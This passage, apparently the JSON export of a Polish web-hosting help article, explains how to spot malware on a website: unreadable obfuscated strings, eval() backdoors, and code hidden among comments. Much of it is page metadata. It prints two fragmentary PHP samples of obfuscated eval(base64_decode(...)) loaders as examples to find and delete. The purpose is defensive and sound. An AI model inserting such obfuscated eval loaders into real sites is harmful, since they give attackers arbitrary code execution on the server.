aby ich kod by\u0142 czytelny. Bardzo cz\u0119sto do poszczeg\u00f3lnych fragment\u00f3w dodaj\u0105 odpowiednie komentarze (wy\u015bwietlane na zielono w NotePad++), wyja\u015bniaj\u0105ce dzia\u0142anie kodu.<\/p>\n\n\n\n<p>Je\u015bli nagle po\u015br\u00f3d uporz\u0105dkowanego kodu widzisz d\u0142ugo ci\u0105g znak\u00f3w, kt\u00f3ry nie wydaje si\u0119 mie\u0107 jakiegokolwiek sensu, jest nieuporz\u0105dkowany, nie ma posiada \u017cadnego formatowania u\u0142atwiaj\u0105cego odczyt kodu, to mo\u017cesz podejrzewa\u0107, \u017ce co\u015b z tym jest nie tak.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>$t20512f0=\"142x61x73x6566x34x5f144x65143157x64145\";@eval($t20512f0(\"Ly9OTU5Oby84UmwycFEzK2dWS0xjY1VEY1JITTBYelNZdnNPZnZLMEVZTkhrY0k1MDRqT25OajIrU3BETmpYTjRmYmMvRzIrRUJYOENETndJdnY2Mk\"));<\/strong><\/pre>\n\n\n\n<p>Taka technika nazywa si\u0119 obfuskacj\u0105 i polega na tym, aby napisa\u0107 kod w taki spos\u00f3b, aby nie da\u0142o si\u0119 stwierdzi\u0107, co on w\u0142a\u015bciwie robi. Je\u015bli tego nie wiemy, to ignorujemy taki fragment, a bardzo cz\u0119sto to w\u0142a\u015bnie on jest \u017ar\u00f3d\u0142em problem\u00f3w.<\/p>\n\n\n\n<ul><li><strong>U\u017cycie funkcji eval()<\/strong><\/li><\/ul>\n\n\n\n<p>W swoim kodzie mo\u017cesz znale\u017a\u0107 szkodliwy kod, polegaj\u0105cy na u\u017cyciu funkcji eval(). To konstrukcja, kt\u00f3ra umo\u017cliwia wykonanie kodu przes\u0142anego do tej funkcji jako parametr. Ca\u0142y problem polega na tym, \u017ce umieszczenie tego fragmentu w kodzie naszej strony jest w stanie umo\u017cliwi\u0107 atakuj\u0105cemu wykonanie w zasadzie dowolnej operacji na serwerze. Jest to swego rodzaju otwarta furtka.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>&lt;?php eval(base64_decode('ZXJyb3JzsNCn0='));<\/strong><\/pre>\n\n\n\n<p>Je\u017celi widzisz w kodzie swojej strony tak\u0105 konstrukcj\u0119, to zdecydowanie j\u0105 usu\u0144.<\/p>\n\n\n\n<ul><li><strong>Kod ukryty pod komentarzem<\/strong><\/li><\/ul>\n\n\n\n<p>J\u0119zyki programowania posiadaj\u0105 funkcj\u0119 komentarzy. <span style=\"font-weight: 400;\">Korzystaj\u0105c z odpowiednich znacznik\u00f3w <\/span> mo\u017cna w ka\u017cdym momencie w kodzie strony doda\u0107 jaki\u015b komentarz, kt\u00f3ry wyja\u015bnia dzia\u0142anie danej funkcji. Jest to przydatne dla programist\u00f3w, kt\u00f3rzy czasem nawet po latach wracaj\u0105 do swojego starego kodu i dzi\u0119ki temu wiedz\u0105, za co odpowiedzialne s\u0105 dane funkcje.<\/p>\n\n\n\n<p>Fragment oznaczony jako komentarz wy\u015bwietla si\u0119 na zielono i nie jest wykonywany podczas uruchamiania danego skryptu. Bardzo cz\u0119sto wykorzystywane jest to przez wirusy, kt\u00f3re tworz\u0105 nowe pliki z poprawnie wygl\u0105daj\u0105cym kodem np. WordPressa. Problem w tym, \u017ce ten kod wcale nie jest wykonywany, gdy\u017c w ca\u0142o\u015bci jest oznaczony jako komentarz \u2013 dopiero gdzie\u015b w \u015brodku, pomi\u0119dzy pojedynczymi liniami, co jaki\u015b czas wy\u0142\u0105czane jest komentowanie dla kilku znak\u00f3w, kt\u00f3re w ca\u0142o\u015bci sk\u0142adaj\u0105 si\u0119 na jeden d\u0142u\u017cszy fragment.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"833\" height=\"450\" src=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/skomentowany-kod.png\" alt=\"\" class=\"wp-image-2275\" srcset=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/skomentowany-kod.png 833w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/skomentowany-kod-300x162.png 300w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/skomentowany-kod-768x415.png 768w\" sizes=\"(max-width: 833px) 100vw, 833px\" \/><\/figure>\n\n\n\n<p>W efekcie wygl\u0105da to tak, \u017ce przegl\u0105damy plik, kt\u00f3ry prawie ca\u0142y wy\u015bwietla si\u0119 na zielono, a dopiero gdzie\u015b pomi\u0119dzy jest faktyczny, nieskomentowany fragment kodu. Wida\u0107 to na powy\u017cszym przyk\u0142adzie, gdzie na czerwono podkre\u015blili\u015bmy szkodliwy kod. Ca\u0142a reszta na zielono to zwyk\u0142y komentarz, kt\u00f3ry i tak nie jest wykonywany. Taki plik mo\u017cna najcz\u0119\u015bciej w ca\u0142o\u015bci usun\u0105\u0107 z serwera, gdy\u017c w gruncie rzeczy zawiera on TYLKO szkodliwy kod.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Twoja strona nie dzia\u0142a prawid\u0142owo i pojawiaj\u0105 si\u0119 przekierowania do innych stron? To oznaki infekcji.<\/p>\n","protected":false},"author":7,"featured_media":2284,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"ep_exclude_from_search":false,"footnotes":""},"categories":[47],"tags":[],"blocksy_meta":{"styles_descriptor":{"styles":{"desktop":"","tablet":"","mobile":""},"google_fonts":[],"version":6}},"acf":[],"featured_image_urls":{"full":["https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg",1280,720,false],"thumbnail":["https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie-150x150.jpg",150,150,true],"medium":["https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie-300x169.jpg",300,169,true],"medium_large":["https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie-768x432.jpg",768,432,true],"large":["https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie-1024x576.jpg",1024,576,true],"1536x1536":["https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg",1280,720,false],"2048x2048":["https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg",1280,720,false],"yarpp-thumbnail":["https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg",120,68,false]},"post_excerpt_stackable":"<p>Twoja strona nie dzia\u0142a prawid\u0142owo i pojawiaj\u0105 si\u0119 przekierowania do innych stron? To oznaki infekcji.<\/p>\n","category_list":"<a href=\"https:\/\/www.lh.pl\/pomoc\/c\/bezpieczenstwo\/\" rel=\"category tag\">Bezpiecze\u0144stwo<\/a>","author_info":{"name":"B\u0142a\u017cej Starosta","url":"https:\/\/www.lh.pl\/pomoc\/author\/blazej\/"},"comments_num":"0 comments","yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v23.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Jak rozpozna\u0107 i usun\u0105\u0107 wirusa ze strony internetowej? - Bezpiecze\u0144stwo LH.pl<\/title>\n<meta name=\"description\" content=\"Twoja strona nie wy\u015bwietla si\u0119 prawid\u0142owo, przekierowuje gdzie\u015b indziej lub nie dzia\u0142a? To pewnie wirus. Zobacz, jak usun\u0105\u0107 wirusa ze strony internetowej.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Jak znale\u017a\u0107 i usun\u0105\u0107 wirusy ze strony internetowej?\" \/>\n<meta property=\"og:description\" content=\"Twoja strona nie wy\u015bwietla si\u0119 prawid\u0142owo, przekierowuje gdzie\u015b indziej lub nie dzia\u0142a? To pewnie wirus. Zobacz, jak usun\u0105\u0107 wirusa ze strony internetowej.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/\" \/>\n<meta property=\"og:site_name\" content=\"LH.pl\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/wwwlhpl\" \/>\n<meta property=\"article:published_time\" content=\"2017-11-20T11:25:34+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-10-24T08:19:08+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg\" \/>\n<meta name=\"author\" content=\"B\u0142a\u017cej Starosta\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"B\u0142a\u017cej Starosta\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"15 minut\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/\"},\"author\":{\"name\":\"B\u0142a\u017cej Starosta\",\"@id\":\"https:\/\/www.lh.pl\/pomoc\/#\/schema\/person\/5a40f9de0b90355373e84b6d7087aeff\"},\"headline\":\"Jak rozpozna\u0107 i usun\u0105\u0107 wirusa ze strony internetowej?\",\"datePublished\":\"2017-11-20T11:25:34+00:00\",\"dateModified\":\"2022-10-24T08:19:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/\"},\"wordCount\":2864,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/www.lh.pl\/pomoc\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg\",\"articleSection\":[\"Bezpiecze\u0144stwo\"],\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/\",\"url\":\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/\",\"name\":\"Jak rozpozna\u0107 i usun\u0105\u0107 wirusa ze strony internetowej? - Bezpiecze\u0144stwo LH.pl\",\"isPartOf\":{\"@id\":\"https:\/\/www.lh.pl\/pomoc\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg\",\"datePublished\":\"2017-11-20T11:25:34+00:00\",\"dateModified\":\"2022-10-24T08:19:08+00:00\",\"description\":\"Twoja strona nie wy\u015bwietla si\u0119 prawid\u0142owo, przekierowuje gdzie\u015b indziej lub nie dzia\u0142a? To pewnie wirus. Zobacz, jak usun\u0105\u0107 wirusa ze strony internetowej.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#primaryimage\",\"url\":\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg\",\"contentUrl\":\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg\",\"width\":1280,\"height\":720},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Lh.pl Pomoc\",\"item\":\"https:\/\/www.lh.pl\/pomoc\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Strony internetowe\",\"item\":\"https:\/\/www.lh.pl\/pomoc\/c\/strony-internetowe\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Bezpiecze\u0144stwo\",\"item\":\"https:\/\/www.lh.pl\/pomoc\/c\/bezpieczenstwo\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Jak rozpozna\u0107 i usun\u0105\u0107 wirusa ze strony internetowej?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.lh.pl\/pomoc\/#website\",\"url\":\"https:\/\/www.lh.pl\/pomoc\/\",\"name\":\"LH.pl\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\/\/www.lh.pl\/pomoc\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.lh.pl\/pomoc\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.lh.pl\/pomoc\/#organization\",\"name\":\"LH.pl\",\"url\":\"https:\/\/www.lh.pl\/pomoc\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/www.lh.pl\/pomoc\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2019\/09\/LH-logo-color-RGB.png\",\"contentUrl\":\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2019\/09\/LH-logo-color-RGB.png\",\"width\":771,\"height\":289,\"caption\":\"LH.pl\"},\"image\":{\"@id\":\"https:\/\/www.lh.pl\/pomoc\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/wwwlhpl\",\"https:\/\/www.instagram.com\/wwwlhpl\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.lh.pl\/pomoc\/#\/schema\/person\/5a40f9de0b90355373e84b6d7087aeff\",\"name\":\"B\u0142a\u017cej Starosta\",\"description\":\"Ma do\u015bwiadczenie w tworzeniu oraz prowadzeniu stron WWW, od blog\u00f3w a\u017c po sklepy internetowe. Od lat uwa\u017cnie \u015bledzi rozw\u00f3j WordPressa i jego wp\u0142yw na rynek tw\u00f3rc\u00f3w stron internetowych. Stara si\u0119 by\u0107 na bie\u017c\u0105co ze wszystkimi nowinkami technologicznymi i dzieli\u0107 si\u0119 swoj\u0105 wiedz\u0105.\",\"sameAs\":[\"https:\/\/www.lh.pl\"],\"url\":\"https:\/\/www.lh.pl\/pomoc\/author\/blazej\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Jak rozpozna\u0107 i usun\u0105\u0107 wirusa ze strony internetowej? - Bezpiecze\u0144stwo LH.pl","description":"Twoja strona nie wy\u015bwietla si\u0119 prawid\u0142owo, przekierowuje gdzie\u015b indziej lub nie dzia\u0142a? To pewnie wirus. Zobacz, jak usun\u0105\u0107 wirusa ze strony internetowej.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/","og_locale":"pl_PL","og_type":"article","og_title":"Jak znale\u017a\u0107 i usun\u0105\u0107 wirusy ze strony internetowej?","og_description":"Twoja strona nie wy\u015bwietla si\u0119 prawid\u0142owo, przekierowuje gdzie\u015b indziej lub nie dzia\u0142a? To pewnie wirus. Zobacz, jak usun\u0105\u0107 wirusa ze strony internetowej.","og_url":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/","og_site_name":"LH.pl","article_publisher":"https:\/\/www.facebook.com\/wwwlhpl","article_published_time":"2017-11-20T11:25:34+00:00","article_modified_time":"2022-10-24T08:19:08+00:00","og_image":[{"url":"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg"}],"author":"B\u0142a\u017cej Starosta","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"B\u0142a\u017cej Starosta","Szacowany czas czytania":"15 minut"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#article","isPartOf":{"@id":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/"},"author":{"name":"B\u0142a\u017cej Starosta","@id":"https:\/\/www.lh.pl\/pomoc\/#\/schema\/person\/5a40f9de0b90355373e84b6d7087aeff"},"headline":"Jak rozpozna\u0107 i usun\u0105\u0107 wirusa ze strony internetowej?","datePublished":"2017-11-20T11:25:34+00:00","dateModified":"2022-10-24T08:19:08+00:00","mainEntityOfPage":{"@id":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/"},"wordCount":2864,"commentCount":0,"publisher":{"@id":"https:\/\/www.lh.pl\/pomoc\/#organization"},"image":{"@id":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#primaryimage"},"thumbnailUrl":"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg","articleSection":["Bezpiecze\u0144stwo"],"inLanguage":"pl-PL","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/","url":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/","name":"Jak rozpozna\u0107 i usun\u0105\u0107 wirusa ze strony internetowej? - Bezpiecze\u0144stwo LH.pl","isPartOf":{"@id":"https:\/\/www.lh.pl\/pomoc\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#primaryimage"},"image":{"@id":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#primaryimage"},"thumbnailUrl":"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg","datePublished":"2017-11-20T11:25:34+00:00","dateModified":"2022-10-24T08:19:08+00:00","description":"Twoja strona nie wy\u015bwietla si\u0119 prawid\u0142owo, przekierowuje gdzie\u015b indziej lub nie dzia\u0142a? To pewnie wirus. Zobacz, jak usun\u0105\u0107 wirusa ze strony internetowej.","breadcrumb":{"@id":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#primaryimage","url":"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg","contentUrl":"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg","width":1280,"height":720},{"@type":"BreadcrumbList","@id":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Lh.pl Pomoc","item":"https:\/\/www.lh.pl\/pomoc\/"},{"@type":"ListItem","position":2,"name":"Strony internetowe","item":"https:\/\/www.lh.pl\/pomoc\/c\/strony-internetowe\/"},{"@type":"ListItem","position":3,"name":"Bezpiecze\u0144stwo","item":"https:\/\/www.lh.pl\/pomoc\/c\/bezpieczenstwo\/"},{"@type":"ListItem","position":4,"name":"Jak rozpozna\u0107 i usun\u0105\u0107 wirusa ze strony internetowej?"}]},{"@type":"WebSite","@id":"https:\/\/www.lh.pl\/pomoc\/#website","url":"https:\/\/www.lh.pl\/pomoc\/","name":"LH.pl","description":"","publisher":{"@id":"https:\/\/www.lh.pl\/pomoc\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.lh.pl\/pomoc\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pl-PL"},{"@type":"Organization","@id":"https:\/\/www.lh.pl\/pomoc\/#organization","name":"LH.pl","url":"https:\/\/www.lh.pl\/pomoc\/","logo":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.lh.pl\/pomoc\/#\/schema\/logo\/image\/","url":"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2019\/09\/LH-logo-color-RGB.png","contentUrl":"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2019\/09\/LH-logo-color-RGB.png","width":771,"height":289,"caption":"LH.pl"},"image":{"@id":"https:\/\/www.lh.pl\/pomoc\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/wwwlhpl","https:\/\/www.instagram.com\/wwwlhpl\/"]},{"@type":"Person","@id":"https:\/\/www.lh.pl\/pomoc\/#\/schema\/person\/5a40f9de0b90355373e84b6d7087aeff","name":"B\u0142a\u017cej Starosta","description":"Ma do\u015bwiadczenie w tworzeniu oraz prowadzeniu stron WWW, od blog\u00f3w a\u017c po sklepy internetowe. Od lat uwa\u017cnie \u015bledzi rozw\u00f3j WordPressa i jego wp\u0142yw na rynek tw\u00f3rc\u00f3w stron internetowych. Stara si\u0119 by\u0107 na bie\u017c\u0105co ze wszystkimi nowinkami technologicznymi i dzieli\u0107 si\u0119 swoj\u0105 wiedz\u0105.","sameAs":["https:\/\/www.lh.pl"],"url":"https:\/\/www.lh.pl\/pomoc\/author\/blazej\/"}]}},"_links":{"self":[{"href":"https:\/\/www.lh.pl\/pomoc\/wp-json\/wp\/v2\/posts\/8341"}],"collection":[{"href":"https:\/\/www.lh.pl\/pomoc\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lh.pl\/pomoc\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lh.pl\/pomoc\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lh.pl\/pomoc\/wp-json\/wp\/v2\/comments?post=8341"}],"version-history":[{"count":2,"href":"https:\/\/www.lh.pl\/pomoc\/wp-json\/wp\/v2\/posts\/8341\/revisions"}],"predecessor-version":[{"id":13789,"href":"https:\/\/www.lh.pl\/pomoc\/wp-json\/wp\/v2\/posts\/8341\/revisions\/13789"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lh.pl\/pomoc\/wp-json\/wp\/v2\/media\/2284"}],"wp:attachment":[{"href":"https:\/\/www.lh.pl\/pomoc\/wp-json\/wp\/v2\/media?parent=8341"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lh.pl\/pomoc\/wp-json\/wp\/v2\/categories?post=8341"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lh.pl\/pomoc\/wp-json\/wp\/v2\/tags?post=8341"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}